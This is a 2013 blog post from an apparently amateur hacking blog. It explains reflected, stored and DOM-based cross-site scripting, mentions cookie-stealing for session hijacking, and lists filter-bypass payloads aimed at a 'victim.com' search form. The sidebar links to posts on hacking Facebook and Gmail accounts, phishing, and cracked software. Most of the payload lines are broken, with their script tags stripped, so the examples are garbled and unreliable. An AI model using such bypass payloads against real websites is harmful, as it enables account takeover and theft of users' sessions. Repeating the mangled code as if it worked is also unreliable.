Jahan Zaible Ghari

  • Subscribe to our RSS feed.
  • Twitter
  • StumbleUpon
  • Reddit
  • Facebook
  • Digg

Friday, 26 July 2013

XSS EXPLOITS

Posted on 13:27 by Unknown


Hello friends. These days I am on an XSS rampage.  Since then I got several request from the readers to post a quick article on cross site scriptting. This tutorial will be divided into two parts. In the first part I will cover the basics of XSS and how the attack vector is implemented. In the next tutorial we will discuss some techniques by which we can prevent XSS attacks.



OWASP lists sql injection and XSS as the two most common vulnerabilities in web pages and web apps. We have covered SQL injection quiet extensively so I decided to write on xss.

Cross Site Scripting or XSS  is a web application attack that involves injecting a piece of malicious code into the vulnerable web application/web page. The attacker injects a client side script mainly through the web browser to reach the other users of the particular website. This attack can open several doors for the attacker ranging from session hijacking to entire database compromise.

Reflected or Non-persistent XSS attack
This is the most common form of XSS attack in which the attackers crafts a malicious code and transfers it to the server side either through the HTTP request parameter or through some HTML form submission. A simple Reflected XSS attack looks like this-
                                        (Embedded Script)
           (External script)

Consider this real time example of reflected XSS in action:
XSS vulnerability in Babylon Search
Stored or Persistent XSS attack

This attack is more dangerous and complicated compared to reflected XSS attack. In Stored or persistent XSS attack, the vulnerable script is stored on the target server and is activated once another user clicks on it. For example, consider a forum where the attacker posts a message containing a link to malicious script. Another user when views the message and clicks it, then the script activates and causes respective attack.
The attacker can craft a malicious script like a cookie stealing script of the form and steal victims cookies to perform session hijacking.

DOM based XSS attack
DOM or document object model based XSS attacks tries to exploit the structure of the page in which they reside. The attacker tries to trick the browser to execute the JavaScript or HTML code of his choice. Unlike the other two XSS attacks, DOM based attack takes the advantage of vulnerable javascript which executes directly in the user’s browser.
Consider the following piece of code:


var loc = document.location + '?gotoHomepage=1';
document.write('Home');

The javascript variable document.location can easily be compromised by the attacker to pass a malicious javascript as it has no user input filters. A url of the form : http://site.com/index.html?   can be created and passed as the HTTP header and can be executed directly into user’s document. 
Complete Cheat Sheet on XSS:

Pwned


">

Bypassing Xss Simple Filteration Without Alteration:
Now we notice, the above script we used for filtration is evolving only a few strings, knowing there are bunch of ways and
strings to inject a malicious request.
It's only filtering '< > /' means leaving hackers with a vast amount of other strings to inject a malicious code.
Now the question is since '<' and '>' are filtered, how we will be able to send a javascript or html code injection?
Well, the answer is quite easy, javascript can be executed using ' and " before the orignal script.
For instance, 

')alert('xss');

This will generate an alert box again on a vulnerable server.
Secondly,

");alert('xss');

This will too generate an alert box on a vulnerable server.


Bypassing Advance Xss Filtration:

Some webmasters filter lot more than this, especially it's filtered on important sites like gov and org sites.
But all depends on their pattern if they are doing this in javascript, we will of course just alter the page but what if the filtration is not in javascript, instead is in html or php or even asp.
There's nothing impossible, we will try to get as much info about the filtration as much we can.
Supposing a server that have filtered all strings just more than common in a way that it reads the malicious string in the beginning or in the end to avoid and abort it, this of course can be bypassed too!

An example can be likely so:

helloworld

The above script will bypass filtration for the server that reads the malicious string in the beginning.

helloworld

This will bypass message filtration.

Now we will study some more advance filtration bypass.

Some webmasters just simply define a pattern of a cross-site scripting script that is possibly common.

In this case, I will mention here the full array of strings to inject, bypassing the filtration.

We will suppose injecting in a search form.

victim.com/search.php?query=">
victim.com/search.php?query=">
victim.com/search.php?query=">
victim.com/search.php?query=">
victim.com/search.php?query=//">
victim.com/search.php?query=abc
victim.com/search.php?query=abc">
victim.com/search.php?query=abc">

victim.com/search.php?query=abc//abc">alert(/hello world/);
victim.com/search.php?query=000">
victim.com/search.php?query=000abc
victim.com/search.php?query=--alert(/1337/);
victim.com/search.php?query=pwned
victim.com/search.php?query=pwned
victim.com/search.php?query=pwned')alert(1337);//
victim.com/search.php?query=pwned";)alert(1337);//
victim.com/search.php?query=pwned");alert(/pwned/);//
victim.com/search.php?query=pwned//">
victim.com/search.php?query=">
victim.com/search.php?query=">
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Posted in Hacking | No comments
Newer Post Older Post Home

0 comments:

Post a Comment

Subscribe to: Post Comments (Atom)

Popular Posts

  • Windows 8 shortcuts: Keyboard Shortcuts-1
    List of Windows 8 Shortcuts Have you tried Microsoft’s latest Operating system Windows 8 yet? If you already tried, then you’ll find a huge ...
  • Facebook Auto Liker Without Access Token
    AUTO LIKER SITE http://fb-auto-posts-liker.blogspot.com/ Friends.... Now u can use the World's 1st Facebook Auto-Liker Without Access To...
  • Six Tips for protecting Wireless Networks-Wi-Fi
                                                                                                             With the growing presence of the te...
  • Windows Defender Free Download
    Windows Defender is software that helps protect your computer against pop-ups, slow performance, and security threats caused by spyware and ...
  • How to Hack My Space Hacking
    MySpace being one of the world’s largest social networks, has become today a favorite place for many to maintain secret relationships and ex...
  • Free Router Simulator Softwares
    If you are going to take a networking exam like CCNA, CCNP… it is better to practice with real routers. But when the budget is not big enoug...
  • WINDOWS MEDIA PLAYER FIREFOX PLUGIN 1.0.0.8 Free Download
    WINDOWS MEDIA PLAYER FIREFOX PLUGIN 1.0.0.8                                   Microsoft Corporation - 311KB (Freeware) Windows Media Player ...
  • Hacking Gmail account using GX cookie
    Introduction Hacking web application was always curious for the script kiddies. And hacking free web email account is every geek first attem...
  • Windows 7 Ultimate Highly Compressed in 10 Mb Only Free Download
    Win dows 7 Ultimate is the most versatile and powerful edition of Windows 7. It is including the ability to run many Windows XP productivity...
  • Total PDF Converter 2.1.233 + Key Free Download
    Total PDF Converter 2.1.233 + Key Total PDF Converter converts PDF files to HTML, DOC (Word), text, Excel, PostScript, CSV or image files (e...

Categories

  • Android
  • AntiVirus
  • Audio and video Players
  • Auto Cad
  • C/C++
  • CCNA
  • Converters
  • Facebook Auto Liker
  • Hacking
  • Inpage
  • Locks
  • Media players
  • MS Office
  • Nokia
  • photo Editors
  • Recovery
  • Recovery.
  • Sites Unblocker
  • Social Network
  • Softwares
  • Tricks
  • Typing Tutors
  • Ufone
  • UniversalDrivers
  • Video Editings
  • Visual Studio
  • Wifi
  • Windows

Blog Archive

  • ▼  2013 (166)
    • ►  October (1)
    • ►  August (31)
    • ▼  July (45)
      • How To Disable Right Click in Blogger(blogspot) or...
      • Free Router Simulator Softwares
      • Six Tips for protecting Wireless Networks-Wi-Fi
      • Useful Shortcut Keys For Facebook
      • How to Disable Startup Programs without any Softwa...
      • Windows Security Hacker Free Download
      • Password Hacking Faq
      • Hack Facebook Password
      • How to Hack Windows administrator password
      • How to Hack My Space Hacking
      • Desktop Phishing Tutorial - The Art of Phishing
      • Hackers compromised cPanel's proxy server used by ...
      • Fern wifi Cracker- A Wireless Penetration Testing ...
      • XSS EXPLOITS
      • Worm Attacks | Your Fb Account Can Be Hacked
      • Top 5 Computer Hackers Ever
      • Collection of All Google Tricks
      • Top 5 Computer Programmers in the World
      • Hacking Gmail account using GX cookie
      • Get Any Microsoft Products for FREE!!
      • TRACING An IP
      • How to Hack Email Account with Cookie stealing [Fo...
      • Hacking Single Player Games
      • Interesting Hacking Quotes
      • Hidden Features Of Format Factory
      • How To Check All System Configuration
      • A History About Hacking [Inforgraphic]
      • Top 10 Hollywood Movies About Hacking
      • Trick to find facebook Profile ID
      • Hack Facebook Account
      • Hacking Google maps and google Earth
      • How to become Worlds No 1 Hacker
      • Get password behind asterisks
      • How to view saved password in google chrome
      • Shocking Facts about Facebook Creator Mark Zuckerb...
      • Windows Security Hacker Free Download
      • How to Hack Windows administrator password
      • CHANGE YOUR DRIVES BACK GROUND
      • Find Your Missing USB Drive in Windows XP
      • How to Increase Virtual Memory and Boost Computer ...
      • Top 10 Windows 8 Tips And Tricks
      • AutoCAD 2007 with Crack Free Download Full Version
      • Autocad 2013 Download Full Version Free Download
      • Cisco Packet Tracer 5.3.3
      • Unity 4.1.5 Free Download`
    • ►  May (3)
    • ►  April (3)
    • ►  February (13)
    • ►  January (70)
Powered by Blogger.

About Me

Unknown
View my complete profile